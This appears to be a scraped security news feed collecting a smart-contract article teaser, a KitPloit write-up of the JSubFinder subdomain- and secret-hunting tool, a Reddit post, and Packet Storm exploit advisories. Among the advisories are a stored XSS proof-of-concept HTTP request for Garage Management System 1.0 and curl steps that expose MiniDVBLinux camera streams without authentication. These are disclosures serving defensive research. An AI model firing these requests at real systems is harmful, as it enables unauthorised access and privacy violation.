Hacking on Medium
Security Smart Contract: tx.origin

https://cdn-images-1.medium.com/max/1334/1*F-0iIae4JAlC6SXBuxGVoA.png
Don´t use tx.origin, don´t use tx.origin, don´t use tx.origin…

Continue reading on CoinsBench »

___________________________
@hacking_Attack
@Hacking_Video

JSubFinder - Searches Webpages For Javascript And Analyzes Them For Hidden Subdomains And Secrets
http://www.kitploit.com/2022/10/jsubfinder-searches-webpages-for.html

___________________________
@hacking_Attack
@Hacking_Video

JSubFinder is a tool writtin in golang to search webpages & javascript for hidden subdomains (https://www.kitploit.com/search/label/Subdomains) and secrets in the given URL. Developed with BugBounty hunters in mind JSubFinder takes advantage of Go's amazing performance (https://www.kitploit.com/search/label/Performance) allowing it to utilize large data sets & be easily chained with other tools.

___________________________
@hacking_Attack
@Hacking_Video

Install Install the application and download the signatures needed to find secrets Using GO: go get github.com/ThreatUnkown/jsubfinder
wget https://raw.githubusercontent.com/ThreatUnkown/jsubfinder/master/.jsf_signatures.yaml && mv .jsf_signatures.yaml ~/.jsf_signatures.yaml or Downloads Page (https://github.com/hiddengearz/jsubfinder/tags) Basic Usage Search Search the given url's for subdomains and secrets $ jsubfinder search -h

Execute the command specified

Usage:
JSubFinder search [flags]

Flags:
-c, --crawl Enable crawling
-g, --greedy Check all files for URL's not just Javascript
-h, --help help for search
-f, --inputFile string File containing domains
-t, --threads int Ammount of threads to be used (default 5)
-u, --url strings Url to check

Global Flags:
-d, --debug Enable debug mode. Logs are stored in log.info
-K, --nossl Skip SSL cert verification (default true)
-o, --outputFile string name/location to store the file
-s, --secrets Check results for secrets e.g api keys
--sig string Location of signatures for finding secrets
-S, --silent Disable printing to the console
Examples (results are the same in this case): $ jsubfinder search -u www.google.com
$ jsubfinder search -f file.txt
$ echo www.google.com | jsubfinder search
$ echo www.google.com | httpx --silent | jsubfinder search$

apis.google.com
ogs.google.com
store.google.com
mail.google.com
accounts.google.com
www.google.com
policies.google.com
support.google.com
adservice.google.com
play.google.com With Secrets Enabled note --secrets="" will save the secret results in a secrets.txt file found in content of https://www.youtube.com Google Cloud API Key found in content of https://www.youtube.com Google Cloud API Key found in content of https://www.youtube.com Google Cloud API Key found in content of https://www.youtube.com Google Cloud API Key found in content of https://www.youtube.com Google Cloud API Key found in content of https://www.youtube.com' dir="auto">$ echo www.youtube.com | jsubfinder search --secrets=""
www.youtube.com
youtubei.youtube.com
payments.youtube.com
2Fwww.youtube.com
252Fwww.youtube.com
m.youtube.com
tv.youtube.com
music.youtube.com
creatoracademy.youtube.com
artists.youtube.com

Google Cloud API Key found in content of https://www.youtube.com
Google Cloud API Key found in content of https://www.youtube.com
Google Cloud API Key found in content of https://www.youtube.com
Google Cloud API Key found in content of https://www.youtube.com
Google Cloud API Key found in content of https://www.youtube.com
Google Cloud API Key found in content of https://www.youtube.com Advanced examples $ echo www.google.com | jsubfinder search -crawl -s "google_secrets.txt" -S -o jsf_google.txt -t 10 -g -crawl use the default crawler to crawl pages for other URL's to analyze -s enables JSubFinder to search for secrets -S Silence output to console -o save output to specified file -t 10 use 10 threads -g search every URL for JS, even ones we don't think have any Proxy Enables the upstream HTTP proxy with TLS MITM sypport. This allows you to: Browse sites in realtime and have JSubFinder search for subdomains and secrets real time. If needed run jsubfinder on another server to offload the workload $ JSubFinder proxy -h

Execute the command specified

Usage:
JSubFinder proxy [flags]

Flags:
-h, --help help for proxy
-p, --port int Port for the proxy to listen on (default 8444)
--scope strings Url's in scope seperated by commas. e.g www.google.com,www.netflix.com
-u, --upstream-proxy string Adress of upsteam proxy e.g http://127.0.0.1:8888 (default "http://127.0.0.1:8888")

Global Flags:
-d, --debug Enable debug mode. Logs are stored in log.info

___________________________
@hacking_Attack
@Hacking_Video

-K, --nossl Skip SSL cert verification (default true)
-o, --outputFile string name/location to store the file
-s, --secrets Check results for secrets e.g api keys
--sig string Location of signatures for finding secrets
-S, --silent Disable printing to the console
$ jsubfinder proxy
Proxy started on :8444
Subdomain: out.reddit.com
Subdomain: www.reddit.com
Subdomain: 2Fwww.reddit.com
Subdomain: alb.reddit.com
Subdomain: about.reddit.com With Burp Suite Configure Burp Suite (https://www.kitploit.com/search/label/Burp%20Suite) to forward traffic to an upstream proxy/ (User Options > Connections > Upsteam Proxy Servers > Add) Run JSubFinder in proxy mode Burp Suite will now forward all traffic proxied through it to JSubFinder. JSubFinder will retrieve the response, return it to burp and in another thread search for subdomains and secrets. With Proxify Launch Proxify (https://github.com/projectdiscovery/proxify) & dump traffic (https://www.kitploit.com/search/label/Dump%20Traffic) to a folder proxify -output logs Configure Burp Suite, a Browser or other tool to forward traffic to Proxify (see instructions on their github page (https://github.com/projectdiscovery/proxify)) Launch JSubFinder in proxy mode & set the upstream proxy as Proxify jsubfinder proxy -u http://127.0.0.1:8443 Use Proxify's replay utility to replay the dumped traffic to jsubfinder replay -output logs -burp-addr http://127.0.0.1:8444 Run on another server Simple, run JSubFinder in proxy mode on another server e.g 192.168.1.2. Follow the proxy steps above but set your applications upstream proxy as 192.168.1.2:8443 Advanced Examples $ jsubfinder proxy --scope www.reddit.com -p 8081 -S -o jsf_reddit.txt --scope limits JSubFinder to only analyze responses from www.reddit.com (http://www.reddit.com/) -p port JSubFinders proxy server is running on -S silence output to the console/stdout -o output examples to this file

Download Jsubfinder (https://github.com/ThreatUnkown/jsubfinder)

___________________________
@hacking_Attack
@Hacking_Video

Please suggest a topic diploma project
https://www.reddit.com/r/Pentesting/comments/y6ag5y/please_suggest_a_topic_diploma_project/

I am a final year student of Network Security, and at the moment I want to choose a topic for my diploma project. I know programming well, I know a little pentesting and networking. As a topic, I think that it will be interesting to implement a program or service "Automatic pentesting for a corporate network". But I don't know how to implement it. To be more precise, I don’t know where to start studying. I studied pentesting only through TryHackMe and read the book "Art of Network Penetration Testing" If you have any ideas I would be grateful if you share. Please share even other difficult research topics in your opinion. submitted by /u/_hanabi_n (https://www.reddit.com/user/_hanabi_n)
[link] (https://www.reddit.com/r/Pentesting/comments/y6ag5y/please_suggest_a_topic_diploma_project/) [comments] (https://www.reddit.com/r/Pentesting/comments/y6ag5y/please_suggest_a_topic_diploma_project/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Webile 1.0.1 Directory Traversal

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Garage Management System 1.0 Cross Site Scripting

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Garage Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

SHA-256 | afcae7081812521eaaa523ff4ed344d14f1a1dba5fe6ac30c17af09a9cfdbc41

Download
# Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored
XSS
# Date: 18-09-2022
# Exploit Author: Sam Wallace
# Software Link:
https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2022-41358

Summary:
Garage Management System utilizes client side validation to prevent XSS.
Using burp, a request can be modified and replayed to the server bypassing
this validation which creates an avenue for XSS.

Parameter: categoriesName
URI: /garage/php_action/createCategories.php

POC:
POST /garage/php_action/createCategories.php HTTP/1.1
Host: 10.24.0.69
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.24.0.69
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.24.0.69/garage/add-category.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u
Connection: close

------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesName"
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesStatus"

1
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="create"
------WebKitFormBoundaryqKDsN4gmatTEEkhS--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.DarkSky.23 MVID-2022-0648 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WiFi File Transfer 1.0.8 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MiniDVBLinux 5.4 Unauthenticated Stream Disclosure

https://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png
MiniDVBLinux versions 5.4 and below suffer from an unauthenticated live stream disclosure when /tpl/tv_action.sh is called and generates a snapshot in /var/www/images/tv.jpg through the Simple VDR Protocol (SVDRP).

SHA-256 | 7a02e7cf0734c411e5e95eff4c56fee10e23d22efe0169ff42aae7db5349ec0e

Download

MiniDVBLinux 5.4 Unauthenticated Stream Disclosure Vulnerability
Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version:

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application suffers from an unauthenticated live stream
disclosure when /tpl/tv_action.sh is called and generates a snapshot
in /var/www/images/tv.jpg through the Simple VDR Protocol (SVDRP).

--------------------------------------------------------------------
/var/www/tpl/tv_action.sh:
--------------------------
01: #!/bin/sh
02:
03: header
04:
05: quality=60
06: svdrpsend.sh "GRAB /tmp/tv.jpg $quality $(echo "$query" | sed "s/width=\(.*\)&height=\(.*\)/\1 \2/g")"
07: mv -f /tmp/tv.jpg /var/www/images 2>/dev/null
--------------------------------------------------------------------

Tested on: MiniDVBLinux 5.4
BusyBox v1.25.1
Architecture: armhf, armhf-rpi2
GNU/Linux 4.19.127.203 (armv7l)
VideoDiskRecorder 2.4.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5716
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5716.php
24.09.2022

--
1. Generate screengrab:
- Request: curl http://ip:8008/tpl/tv_action.sh -H "Accept: */*"
- Response:
220 mld SVDRP VideoDiskRecorder 2.4.6; Mon Sep 12 00:44:10 2022; UTF-8
250 Grabbed image /tmp/tv.jpg 60
221 mld closing connection

2. View screengrab:
- Request: curl http://ip:8008/images/tv.jpg

3. Or use a browser:
- http://ip:8008/home?site=remotecontrol

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video